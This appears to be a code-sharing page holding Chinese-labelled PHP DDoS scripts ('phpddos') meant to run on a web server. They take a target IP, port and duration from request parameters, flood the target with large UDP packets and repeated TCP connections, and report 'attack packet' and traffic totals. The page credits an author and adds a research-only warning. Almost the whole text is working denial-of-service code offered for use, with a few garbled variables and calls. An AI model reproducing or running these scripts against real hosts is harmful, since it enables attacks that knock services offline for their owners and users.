phpddos脚步

Run Settings
LanguagePHP
Language Version
Run Command
<?php $packets = 0; $ip = $_POST&#91;'ip'&#93;; //IP $rand = $_POST&#91;'port'&#93;; //端口 set_time_limit(0); //时间 ignore_user_abort(FALSE); //持久攻击 $exec_time = $_POST&#91;'time'&#93;; $time = time(); print "Flooded:$ip on port $rand <br><br>"; $max_time = $time+$exec_time; for($i=0;$i<65500;$i++){ $out .= "X"; } while(1){ $packets++; if(time() >$max_time){ break; } $fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5); if($fp){ fwrite($fp,$out); fclose($fp); } } echo "Packet complete at ".time('h:i:s')." with $packe ts (".round(($packets*65)/1024,2) ." mB) \n"; ;echo ' '; ini_set("display_errors","Off"); $packets = 0; $ipb = $_POST['ipb']; $portb = $_POST['portb']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_POST['timeb']; $time = time(); $max_time = $time+$exec_time; while(1){ $packets++; if(time() >$max_time){ break; } $fp = fsockopen("tcp://$ipb",$portb,$errno,$errstr,0); } echo "<br />\n"; echo "<br />\n"; echo "-"; echo "<br />\n"; echo " zgs ".$packets."g"; echo "<br />\n"; echo "<br />\n"; echo " zll ".round(($packets*74*8)/(1024*1024),2)."Mbps"; echo "<br />\n"; echo "-"; echo "<br />\n"; ?>
<?php ini_set("display_errors", "Off"); $packets = 0; $ip = $_GET['ip']; $port = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "phpddos压力测试-连接服务器正常.....<br>"; $max_time = $time+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0); } echo "================================================<br>"; echo " <font color=blue>QQ2098175794<;br>"; echo " BY:phpddos在线免费压力测试<br>"; echo " 作者:BY:陌斯<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
Editor Settings
Theme
Key bindings
Full width
Lines